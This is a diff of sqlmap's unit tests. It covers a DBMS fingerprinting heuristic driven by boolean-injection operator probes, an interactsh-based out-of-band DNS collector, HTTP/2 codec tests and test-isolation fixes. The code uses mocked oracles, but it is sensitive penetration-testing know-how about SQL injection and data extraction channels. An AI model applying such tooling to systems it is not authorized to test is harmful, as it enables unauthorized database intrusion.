Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth
table: the (xor, intdiv, pgcast, bitor) operator signatures measured across 11 live engines
on an OWASP-CRS test platform, asserting that _classify() maps each to the expected back-end
DBMS - and, just as importantly, that the engines whose signatures collide or are ambiguous
map to None (no prior), so the heuristic never wrong-foots detection. The end-to-end behaviour
(the probes producing these signatures through a real boolean injection) is exercised against
the live platform, not here.
Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth table:
the full 5-probe (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) operator signatures measured across the live
SQL engines on an OWASP-CRS test platform, asserting _classify() maps each EXACT signature to the
expected back-end DBMS via its whitelist - and, just as importantly, that anything else (an
unmeasured engine, an ambiguous signature, or a physically-impossible / noise signature) maps to
None, so the heuristic never wrong-foots detection. The end-to-end behaviour (the probes producing
these signatures through a real boolean injection) is exercised against the live platform, not here.
"""
import os
@ -26,78 +26,80 @@ from lib.core.data import kb
from lib.core.enums import DBMS
from lib.utils.dialect import _classify
from lib.utils.dialect import dialectCheckDbms
from lib.utils.dialect import DIALECT_CANARY
# measured 2026-06 across the sqli-platform (boolean form "id=2 AND <probe>", anchor value 2);
# base signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2). The 5th probe (1<<2=4, bit-shift) is the MonetDB-vs-
# SQL Server disambiguator and is asserted separately (SHIFT_SENSITIVE); for every other engine the
# shift flag does NOT change the classification, which the test proves by trying it both ways.
# Full 5-probe signature (2^0=2, 2^3=8, 5/2=2, 2|0=2, 1<<2=4) measured live -> expected DBMS.
# Every bit is significant now (whitelist): e.g. MySQL/PostgreSQL/... all have a working '<<', so
# shift=True is part of their signature; a one-bit-off variant is simply not a known fingerprint.
MEASURED = {
"mysql": ((True, False, False, True), DBMS.MYSQL),
"mysql5": ((True, False, False, True), DBMS.MYSQL),
"tidb": ((True, False, False, True), DBMS.MYSQL), # MySQL wire-compatible
"postgres": ((False, True, True, True), DBMS.PGSQL),
"cockroach": ((False, True, False, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division)
"cratedb": ((False, True, True, True), DBMS.PGSQL), # pgwire family
"sqlite": ((False, False, True, True), DBMS.SQLITE),
"mysql": ((True, False, False, True, True), DBMS.MYSQL),
"mysql5": ((True, False, False, True, True), DBMS.MYSQL),
"tidb": ((True, False, False, True, True), DBMS.MYSQL), # MySQL wire-compatible
"postgres": ((False, True, True, True, True), DBMS.PGSQL),
"cockroach": ((False, True, False, True, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division, has '<<')
"cratedb": ((False, True, True, True, False), DBMS.PGSQL), # pgwire family (no '<<')
"mssql": ((True, False, True, True, False), DBMS.MSSQL), # '^' XOR, integer division, NO bit-shift
"monetdb": ((True, False, True, True, True), DBMS.MONETDB), # shares MSSQL base but HAS '<<'
"sqlite": ((False, False, True, True, True), DBMS.SQLITE),
# not distinctive enough -> deliberately no prior (operators alone can't safely separate these)
"firebird": ((False, False, True, False), None),
"hsqldb": ((False, False, True, False), None), # collides with firebird/derby/h2
"derby": ((False, False, True, False), None),
"h2": ((False, False, True, False), None),
"trino": ((False, False, True, False), None),
"iris": ((False, False, False, False), None), # all-error, like Oracle/broken channel
"clickhouse": ((False, False, False, False), None), # all-error, like Oracle/broken channel
}
# engines whose full 5-probe signature (incl. 1<<2=4) is needed because they share base-4 (xor,intdiv)
# and only the bit-shift probe separates them: SQL Server has no shift operator, MonetDB does.
SHIFT_SENSITIVE = {
"mssql": ((True, False, True, True, False), DBMS.MSSQL),
"monetdb": ((True, False, True, True, True), DBMS.MONETDB),
"firebird": ((False, False, True, False, False), None),
"hsqldb": ((False, False, True, False, False), None), # collides with firebird/derby/h2/trino
"derby": ((False, False, True, False, False), None),
"h2": ((False, False, True, False, False), None),
"trino": ((False, False, True, False, False), None),
"iris": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel
"clickhouse": ((False, False, False, False, False), None), # all-error, like Oracle/broken channel
}
class TestDialectClassification(unittest.TestCase):
def test_shift_sensitive_engines_split_correctly(self):
# MonetDB shared MSSQL's (xor, intdiv) signature exactly (a false positive before the shift
# probe); 1<<2=4 (MonetDB only) now separates them.
for engine, (signature, expected) in SHIFT_SENSITIVE.items():
def test_measured_engines_map_as_expected(self):
# each engine's exact measured 5-probe signature maps to its expected DBMS (or None)
for engine, (signature, expected) in MEASURED.items():
self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine)
def test_measured_engines_map_as_expected(self):
# for non-shift-sensitive engines the shift flag is irrelevant: assert BOTH values map to the
# expected DBMS (proves the new probe never perturbs the existing classifications).
for engine, (base, expected) in MEASURED.items():
for shift in (False, True):
self.assertEqual(_classify(base + (shift,)), expected, "engine %r misclassified (shift=%s)" % (engine, shift))
def test_shift_splits_monetdb_from_mssql(self):
# MonetDB shares MSSQL's (xor, intdiv) base exactly (a false positive before the shift probe);
# 1<<2=4 (MonetDB has it, SQL Server never does) is the sole separator.
self.assertEqual(_classify((True, False, True, True, False)), DBMS.MSSQL)
self.assertEqual(_classify((True, False, True, True, True)), DBMS.MONETDB)
def test_no_false_positive_across_measured_set(self):
# non-collision property: every measured engine maps to EXACTLY its expected DBMS (or None),
# never to some other back-end. The shift flag is irrelevant for these (non-shift-sensitive)
# engines, so assert it both ways.
for engine, (base, expected) in MEASURED.items():
for shift in (False, True):
result = _classify(base + (shift,))
self.assertEqual(result, expected, "engine %r misclassified (shift=%s): got %r, expected %r" % (engine, shift, result, expected))
# the only non-None DBMS priors the measured set can yield (sanity on the mapping itself)
produced = set(expected for _, expected in MEASURED.values() if expected is not None)
self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE})
def test_whitelist_is_exact_no_false_positive(self):
# only the measured classifying signatures may yield a DBMS; everything else -> None.
classifying = set(sig for sig, exp in MEASURED.values() if exp is not None)
produced = set(exp for _, exp in MEASURED.values() if exp is not None)
self.assertEqual(produced, {DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.MONETDB, DBMS.SQLITE})
# exhaustively sweep all 32 signatures: a non-None result is allowed ONLY for a measured one
for bits in range(32):
sig = tuple(bool(bits & (1 << i)) for i in range(5))
result = _classify(sig)
if sig not in classifying:
self.assertIsNone(result, "unmeasured signature %r wrongly mapped to %r" % (sig, result))
def test_all_true_noise_is_rejected(self):
# a channel that reads EVERY probe true (a static/reflected page, or a WAF/false-positive
# oracle) produces the all-true signature - physically impossible ('^' cannot be XOR and
# exponentiation at once). It must NOT be guessed (previously it mis-read as PostgreSQL).
self.assertIsNone(_classify((True, True, True, True, True)))
def test_all_error_signature_yields_no_prior(self):
# an all-error signature (Oracle, ClickHouse, IRIS, or simply a WAF-blocked channel) is not
# distinctive enough - it must NOT be guessed as any DBMS
# an all-error signature (Oracle, ClickHouse, IRIS, or a WAF-blocked channel) is not
# distinctive - it must NOT be guessed as any DBMS
self.assertIsNone(_classify((False, False, False, False, False)))
self.assertIsNone(_classify((False, False, False, False, True)))
def test_pgpow_dominates_as_postgres_marker(self):
# exponentiation '^' is a positive PostgreSQL-family marker regardless of division flavour
self.assertEqual(_classify((False, True, True, True, False)), DBMS.PGSQL)
self.assertEqual(_classify((False, True, False, True, False)), DBMS.PGSQL)
def test_pgpow_alone_is_not_enough(self):
# exponentiation '^' is a PostgreSQL marker, but pgpow ALONE no longer classifies: the full
# signature must match a measured PostgreSQL fingerprint (this is what stops the all-true noise
# from riding the old 'pgpow dominates' rule into a bogus PostgreSQL claim).
self.assertEqual(_classify((False, True, True, True, True)), DBMS.PGSQL) # real PostgreSQL
self.assertIsNone(_classify((True, True, False, False, False))) # pgpow set, but not a real signature
class TestDialectCheckDbmsGuard(unittest.TestCase):
"""dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good
channel, and None (no prior) whenever the channel is unreliable - the safety contract."""
"""dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good channel,
and None (no prior) whenever the channel is unreliable - the safety contract, including the
canary that turns a trashy false-positive channel into a true negative."""
def _run(self, truth):
# truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection
@ -111,11 +113,13 @@ class TestDialectCheckDbmsGuard(unittest.TestCase):
kb.injection = saved
def test_identifies_mysql_on_good_channel(self):
truth = {"2=2": True, "2=3": False, "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True}
truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False,
"2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True}
self.assertEqual(self._run(truth), DBMS.MYSQL)
def test_identifies_postgres_on_good_channel(self):
truth = {"2=2": True, "2=3": False, "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True}
truth = {"2=2": True, "2=3": False, DIALECT_CANARY: False,
"2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True}
self.assertEqual(self._run(truth), DBMS.PGSQL)
def test_none_on_blocked_channel(self):
@ -124,7 +128,16 @@ class TestDialectCheckDbmsGuard(unittest.TestCase):
def test_none_on_static_channel(self):
# a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None
self.assertIsNone(self._run({"2=2": True, "2=3": True, "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True}))
self.assertIsNone(self._run({"2=2": True, "2=3": True, DIALECT_CANARY: True,
"2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True, "1<<2=4": True}))
def test_none_when_canary_reads_true(self):
# THE canary contract: a channel can look like a clean oracle (2=2 true, 2=3 false) and even
# yield a DBMS-shaped signature, but if the syntactically-invalid canary also reads TRUE the
# channel accepts garbage -> it is a false positive -> return None (true negative), never a DBMS.
truth = {"2=2": True, "2=3": False, DIALECT_CANARY: True,
"2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True, "1<<2=4": True} # would be MySQL
self.assertIsNone(self._run(truth))
if __name__ == "__main__":

View file

@ -38,7 +38,7 @@ import time
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.agent import agent
@ -188,7 +188,7 @@ class _DnsCase(unittest.TestCase):
finally:
c.close()
served[0] += len(chunk)
for _ in range(100):
for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner
with self.server._lock:
if any(host.encode() in r for r in self.server._requests):
break
@ -313,7 +313,7 @@ class TestDnsLabelInvariant(_DnsCase):
finally:
c.close()
served[0] += len(chunk)
for _ in range(100):
for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner
with self.server._lock:
matched = [r for r in self.server._requests if host.encode() in r]
if matched:
@ -394,3 +394,7 @@ class TestDnsChannelDetection(_DnsCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -23,7 +23,7 @@ sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), ".."))
from lib.core.settings import MAX_DNS_REQUESTS
from lib.request.dns import DNSQuery, DNSServer
from lib.request.dns import DNSQuery, DNSServer, InteractshDNSServer
def build_query(name, tid=b"\x12\x34", qtype=1):
@ -324,3 +324,42 @@ class TestDNSServerConcurrency(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
class TestInteractshDNSServer(unittest.TestCase):
"""The interactsh-backed DNS collector must present the same pop(prefix, suffix)
accounting as DNSServer, matching only prefix.<result>.suffix names and never
returning the same captured lookup twice."""
def _collector(self, names):
class _FakeClient(object):
registered = True
def dnsDomain(self): return "corr0000000000000nnc.oast.fun"
def dnsNames(self): return list(names)
srv = InteractshDNSServer.__new__(InteractshDNSServer)
srv._client = _FakeClient()
srv.domain = srv._client.dnsDomain()
srv._seen = set()
srv._running = True
srv._initialized = True
srv._POLL_TRIES = 1 # no real sleeps in unit tests
return srv
def test_pop_matches_prefix_suffix_and_dedups(self):
names = ["aaa.5345435245540a.zzz.corr0000000000000nnc", "unrelated.corr0000000000000nnc"]
srv = self._collector(names)
got = srv.pop("aaa", "zzz")
self.assertEqual(got, "aaa.5345435245540a.zzz.corr0000000000000nnc")
self.assertIsNone(srv.pop("aaa", "zzz")) # already consumed
def test_pop_no_match(self):
srv = self._collector(["aaa.deadbeef.qqq.corr0000000000000nnc"])
self.assertIsNone(srv.pop("aaa", "zzz"))
def test_pop_any(self):
srv = self._collector(["whatever.corr0000000000000nnc"])
self.assertEqual(srv.pop(), "whatever.corr0000000000000nnc")
def test_run_is_noop(self):
self._collector([]).run() # must not raise

View file

@ -27,7 +27,7 @@ import unittest
from collections import OrderedDict as _PlainOrderedDict
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap
from _testutils import bootstrap, reset_dbms
bootstrap()
from lib.core.common import Backend
@ -408,3 +408,7 @@ class TestReplication(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -26,7 +26,7 @@ import unittest
from collections import OrderedDict
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap
from _testutils import bootstrap, reset_dbms
bootstrap()
from lib.core.common import Backend
@ -165,3 +165,7 @@ class TestJsonlContract(_JsonlDumpCase):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -22,7 +22,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
@ -800,3 +800,7 @@ class TestEntriesInference(_EntriesBase):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -22,7 +22,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb
@ -111,3 +111,7 @@ class TestOneShotErrorUse(unittest.TestCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -25,10 +25,11 @@ logic fails the test. No live target / network / DBMS involved.
import os
import sys
import tempfile
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb
@ -108,7 +109,7 @@ class TestGenericFilesystem(_FsBase):
def test_fileEncode_reads_then_encodes(self):
# fileEncode must read the file bytes and delegate to fileContentEncode
path = os.path.join(
os.environ.get("TMPDIR", "/tmp"), "sqlmap_fe_%d.bin" % os.getpid())
tempfile.gettempdir(), "sqlmap_fe_%d.bin" % os.getpid())
with open(path, "wb") as f:
f.write(b"hello")
try:
@ -138,7 +139,7 @@ class TestGenericFilesystem(_FsBase):
# MySQL builds LENGTH(LOAD_FILE('<remote>')) and compares to local size.
set_dbms("MySQL")
path = os.path.join(
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl_%d.bin" % os.getpid())
tempfile.gettempdir(), "sqlmap_cl_%d.bin" % os.getpid())
with open(path, "wb") as f:
f.write(b"12345") # 5 bytes
captured = {}
@ -159,7 +160,7 @@ class TestGenericFilesystem(_FsBase):
def test_checkFileLength_size_differs(self):
set_dbms("MySQL")
path = os.path.join(
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl2_%d.bin" % os.getpid())
tempfile.gettempdir(), "sqlmap_cl2_%d.bin" % os.getpid())
with open(path, "wb") as f:
f.write(b"12345") # local 5
self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9")
@ -176,7 +177,7 @@ class TestGenericFilesystem(_FsBase):
# OPENROWSET-building branch runs in isolation.
set_dbms("Microsoft SQL Server")
path = os.path.join(
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl3_%d.bin" % os.getpid())
tempfile.gettempdir(), "sqlmap_cl3_%d.bin" % os.getpid())
with open(path, "wb") as f:
f.write(b"ABCD") # 4 bytes
stacked = []
@ -205,7 +206,7 @@ class TestGenericFilesystem(_FsBase):
# non-positive remote size -> treated as "not written" -> sameFile False
set_dbms("MySQL")
path = os.path.join(
os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl4_%d.bin" % os.getpid())
tempfile.gettempdir(), "sqlmap_cl4_%d.bin" % os.getpid())
with open(path, "wb") as f:
f.write(b"x")
self.patch(self.module.inject, "getValue", lambda q, *a, **k: None)
@ -282,7 +283,7 @@ class TestGenericFilesystem(_FsBase):
# stackedWriteFile and return its result.
set_dbms("MySQL")
path = os.path.join(
os.environ.get("TMPDIR", "/tmp"), "sqlmap_wf_%d.bin" % os.getpid())
tempfile.gettempdir(), "sqlmap_wf_%d.bin" % os.getpid())
with open(path, "wb") as f:
f.write(b"data")
calls = {}
@ -733,3 +734,7 @@ class TestUDF(_FsBase):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -18,7 +18,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb
@ -93,12 +93,18 @@ class TestFingerprint(unittest.TestCase):
conf.batch = True
conf.extensiveFp = False
conf.api = False
# _drive() stubs the SHARED lib.request.inject module (plugins do `from lib.request import inject`),
# so snapshot the originals and restore them, else stubbed getValue/checkBooleanExpression leak process-wide
import lib.request.inject as _inject
self._inject = _inject
self._inject_saved = (_inject.getValue, _inject.checkBooleanExpression)
def tearDown(self):
for k, v in self._saved.items():
conf[k] = v
for k, v in self._kb.items():
kb[k] = v
self._inject.getValue, self._inject.checkBooleanExpression = self._inject_saved
def _drive(self, name, modpath, pkg, oracle):
set_dbms(name)
@ -201,3 +207,7 @@ for _name, _mod, _pkg in TARGETS:
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -26,7 +26,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
@ -599,3 +599,7 @@ class TestTakeover(_GenericBase):
if __name__ == "__main__":
unittest.main()
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -246,6 +246,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
def setUp(self):
self._gql = gi._gqlSend
self._conf = gi.conf
gi.conf = type("C", (), {"url": "http://test/graphql"})()
pages = {"true": MATCH, "false": NOMATCH}
@ -259,6 +260,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase):
def tearDown(self):
gi._gqlSend = self._gql
gi.conf = self._conf
def test_boolean_detected(self):
slot = _slot("query", "Query", "user", "username", "string")
@ -277,6 +279,7 @@ class TestGraphqlErrorDetection(unittest.TestCase):
def setUp(self):
self._gql = gi._gqlSend
self._conf = gi.conf
gi.conf = type("C", (), {"url": "http://test/graphql"})()
def fakeSend(endpoint, query, variables=None):
@ -287,6 +290,7 @@ class TestGraphqlErrorDetection(unittest.TestCase):
def tearDown(self):
gi._gqlSend = self._gql
gi.conf = self._conf
def test_error_detected(self):
slot = _slot("query", "Query", "user", "username", "string")
@ -372,10 +376,12 @@ class TestGraphqlIntrospectionFallback(unittest.TestCase):
def setUp(self):
self._gql = gi._gqlSend
self._conf = gi.conf
gi.conf = type("C", (), {"url": "http://test/graphql"})()
def tearDown(self):
gi._gqlSend = self._gql
gi.conf = self._conf
def test_fallback_without_specifiedByURL(self):
calls = []

283
tests/test_http2.py Normal file
View file

@ -0,0 +1,283 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Unit coverage for the PURE (network-free) parts of the native HTTP/2 client in
lib/request/http2.py: the RFC 7540 frame codec, the RFC 7541 HPACK integer /
Huffman / string primitives, the HPACK Decoder/Encoder (static + dynamic table),
and the urllib-compatible H2Response wrapper.
Nothing here opens a socket or negotiates TLS - only the deterministic codecs and
the response adapter are exercised. Known vectors are the canonical RFC 7541
examples; everything else is a round-trip / invariant check.
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
"""
import binascii
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap
bootstrap()
from lib.request.http2 import (
Decoder,
Encoder,
H2Response,
REDIRECT_CODES,
STATIC_LEN,
STATIC_TABLE,
DATA,
HEADERS,
FLAG_END_HEADERS,
FLAG_END_STREAM,
decode_frame_header,
decode_integer,
decode_string,
encode_frame,
encode_integer,
encode_string,
huffman_decode,
huffman_encode,
)
def _b(*ints):
# build a bytes object from ints (identical on Python 2 and 3)
return bytes(bytearray(ints))
class TestFrameCodec(unittest.TestCase):
def test_roundtrip(self):
header = encode_frame(HEADERS, FLAG_END_HEADERS, 1, b"abc")[:9]
self.assertEqual(decode_frame_header(header), (3, HEADERS, FLAG_END_HEADERS, 1))
def test_payload_is_appended_verbatim(self):
frame = encode_frame(DATA, 0, 1, b"hello")
self.assertEqual(frame[9:], b"hello")
def test_reserved_stream_bit_is_masked(self):
# the high (reserved) bit of the 31-bit stream id must be dropped on both ends
header = encode_frame(DATA, 0, 0x80000001, b"")[:9]
self.assertEqual(decode_frame_header(header), (0, DATA, 0, 1))
def test_zero_length_payload(self):
header = encode_frame(DATA, FLAG_END_STREAM, 1, b"")[:9]
length, _, flags, _ = decode_frame_header(header)
self.assertEqual(length, 0)
self.assertEqual(flags, FLAG_END_STREAM)
def test_oversized_payload_rejected(self):
with self.assertRaises(ValueError):
encode_frame(DATA, 0, 1, b"x" * (0xFFFFFF + 1))
def test_bad_header_length_rejected(self):
with self.assertRaises(ValueError):
decode_frame_header(b"123")
class TestIntegerCoding(unittest.TestCase):
def test_rfc_c11_small(self):
# RFC 7541 C.1.1: 10 with a 5-bit prefix fits in the prefix
self.assertEqual(list(encode_integer(10, 5)), [10])
def test_rfc_c12_multibyte(self):
# RFC 7541 C.1.2: 1337 with a 5-bit prefix
self.assertEqual(list(encode_integer(1337, 5)), [31, 154, 10])
self.assertEqual(decode_integer(bytearray([31, 154, 10]), 0, 5), (1337, 3))
def test_rfc_c13_full_byte_prefix(self):
# RFC 7541 C.1.3: 42 starting from a full (8-bit prefix at an octet boundary)
self.assertEqual(list(encode_integer(42, 8)), [42])
def test_roundtrip_across_prefixes(self):
for prefix in (4, 5, 6, 7, 8):
for value in (0, 1, 2, 30, 31, 32, 127, 128, 255, 256, 16384, 1000000):
encoded = bytearray(encode_integer(value, prefix))
decoded, pos = decode_integer(encoded, 0, prefix)
self.assertEqual(decoded, value)
self.assertEqual(pos, len(encoded))
def test_first_byte_bits_preserved(self):
# a caller-supplied opcode in the high bits must survive a small value
self.assertEqual(bytearray(encode_integer(5, 7, 0x80))[0], 0x80 | 5)
class TestHuffman(unittest.TestCase):
def test_known_vector_www_example_com(self):
# RFC 7541 C.4.1
self.assertEqual(binascii.hexlify(huffman_encode(b"www.example.com")), b"f1e3c2e5f23a6ba0ab90f4ff")
def test_empty(self):
self.assertEqual(huffman_encode(b""), b"")
self.assertEqual(huffman_decode(b""), b"")
def test_roundtrip(self):
for sample in (b"a", b"hello world", b"/index.html?a=1&b=2",
b"GET", b"application/json", b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
bytes(bytearray(range(256)))):
self.assertEqual(huffman_decode(huffman_encode(sample)), sample)
def test_shrinks_typical_text(self):
sample = b"www.example.com"
self.assertLess(len(huffman_encode(sample)), len(sample))
def test_padding_too_long_rejected(self):
# 0xfe walks eight 1-bits into a long (unterminated) code -> more than a byte of padding
with self.assertRaises(ValueError):
huffman_decode(_b(0xFE))
class TestStringCoding(unittest.TestCase):
def test_huffman_branch_roundtrip(self):
encoded = encode_string(b"custom-value")
self.assertTrue(bytearray(encoded)[0] & 0x80) # huffman flag set for compressible text
self.assertEqual(decode_string(bytearray(encoded), 0), (b"custom-value", len(encoded)))
def test_literal_branch_when_huffman_would_not_shrink(self):
encoded = encode_string(_b(0xFF))
self.assertFalse(bytearray(encoded)[0] & 0x80) # falls back to a literal string
self.assertEqual(decode_string(bytearray(encoded), 0), (_b(0xFF), len(encoded)))
def test_disable_huffman(self):
encoded = encode_string(b"abc", huffman=False)
self.assertFalse(bytearray(encoded)[0] & 0x80)
self.assertEqual(decode_string(bytearray(encoded), 0), (b"abc", len(encoded)))
class TestHpackDecoder(unittest.TestCase):
def test_indexed_static_entries(self):
# 0x82/0x86/0x84 -> static indices 2, 6, 4
self.assertEqual(
Decoder().decode(_b(0x82, 0x86, 0x84)),
[(b":method", b"GET"), (b":scheme", b"http"), (b":path", b"/")],
)
def test_static_lookup_bounds(self):
d = Decoder()
self.assertEqual(d._get(1), (b":authority", b""))
self.assertEqual(d._get(2), (b":method", b"GET"))
self.assertEqual(d._get(STATIC_LEN), STATIC_TABLE[-1])
def test_index_zero_rejected(self):
with self.assertRaises(ValueError):
Decoder()._get(0)
def test_index_out_of_range_rejected(self):
with self.assertRaises(ValueError):
Decoder()._get(STATIC_LEN + 1) # no dynamic entries yet
def test_literal_incremental_indexing_populates_dynamic_table(self):
# 0x40 = literal with incremental indexing, new name
block = bytearray([0x40]) + encode_string(b"custom-key") + encode_string(b"custom-value")
d = Decoder()
self.assertEqual(d.decode(bytes(block)), [(b"custom-key", b"custom-value")])
# entry is now addressable at the first dynamic index (STATIC_LEN + 1)
self.assertEqual(d._get(STATIC_LEN + 1), (b"custom-key", b"custom-value"))
self.assertEqual(d._size, 32 + len(b"custom-key") + len(b"custom-value"))
def test_literal_without_indexing_does_not_touch_dynamic_table(self):
block = bytearray([0x00]) + encode_string(b"k") + encode_string(b"v")
d = Decoder()
self.assertEqual(d.decode(bytes(block)), [(b"k", b"v")])
self.assertEqual(d.dynamic, [])
def test_dynamic_table_eviction(self):
d = Decoder(max_size=40) # each 2+2 byte entry costs 32+2+2 = 36
d._add(b"aa", b"bb")
self.assertEqual(len(d.dynamic), 1)
d._add(b"cc", b"dd") # 72 > 40 -> oldest evicted
self.assertEqual(d.dynamic, [(b"cc", b"dd")])
self.assertEqual(d._size, 36)
def test_dynamic_size_update_clears(self):
d = Decoder()
d._add(b"x", b"y")
d.decode(_b(0x20)) # 0x20 = dynamic table size update to 0
self.assertEqual(d.max_size, 0)
self.assertEqual(d.dynamic, [])
class TestHpackEncoderRoundTrip(unittest.TestCase):
def test_roundtrip_through_decoder(self):
headers = [
(b":method", b"GET"),
(b":scheme", b"https"),
(b":path", b"/a/b?c=d"),
(b":authority", b"example.com"),
(b"user-agent", b"sqlmap"),
(b"accept", b""), # empty value
(b"x-custom", b"\x00\x01\xff"), # non-ASCII value
]
self.assertEqual(Decoder().decode(Encoder().encode(headers)), headers)
def test_encoder_output_is_bytes(self):
self.assertIsInstance(Encoder().encode([(b"a", b"b")]), bytes)
class TestH2Response(unittest.TestCase):
def _make(self, status=200, headers=None, body=b"body"):
headers = headers if headers is not None else [(b":status", b"200"), (b"content-type", b"text/html")]
return H2Response("https://target/x", status, headers, body)
def test_basic_fields(self):
r = self._make()
self.assertEqual(r.code, 200)
self.assertEqual(r.status, 200)
self.assertEqual(r.msg, "OK")
self.assertEqual(r.http_version, "HTTP/2.0")
self.assertEqual(r.geturl(), "https://target/x")
def test_unknown_status_message(self):
self.assertEqual(self._make(status=799).msg, "")
def test_pseudo_headers_stripped(self):
r = self._make()
self.assertNotIn(":status", r.info())
self.assertEqual(r.info().get("content-type"), "text/html")
def test_read_full_then_empty(self):
r = self._make(body=b"hello")
self.assertEqual(r.read(), b"hello")
self.assertEqual(r.read(), b"") # offset exhausted
def test_read_in_chunks(self):
r = self._make(body=b"abcdef")
self.assertEqual(r.read(2), b"ab")
self.assertEqual(r.read(3), b"cde")
self.assertEqual(r.read(10), b"f") # asking past the end returns the remainder
self.assertEqual(r.read(10), b"")
def test_str_header_names_accepted(self):
# headers may arrive already decoded to str (not only bytes)
r = H2Response("https://t/", 200, [("content-type", "application/json")], b"{}")
self.assertEqual(r.info().get("content-type"), "application/json")
def test_mimetools_style_headers_list(self):
# patchHeaders() relies on a '.headers' list of "Name: value\r\n" lines being present
r = self._make()
self.assertTrue(hasattr(r.info(), "headers"))
self.assertIn("content-type: text/html\r\n", r.info().headers)
def test_close_is_noop(self):
self.assertIsNone(self._make().close())
class TestConstants(unittest.TestCase):
def test_redirect_codes(self):
for code in (301, 302, 303, 307, 308):
self.assertIn(code, REDIRECT_CODES)
self.assertNotIn(200, REDIRECT_CODES)
def test_static_table_length(self):
self.assertEqual(STATIC_LEN, len(STATIC_TABLE))
self.assertEqual(STATIC_LEN, 61) # RFC 7541 Appendix A
if __name__ == "__main__":
unittest.main(verbosity=2)

View file

@ -13,7 +13,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue
@ -83,3 +83,7 @@ class TestSafeCSValue(unittest.TestCase):
if __name__ == "__main__":
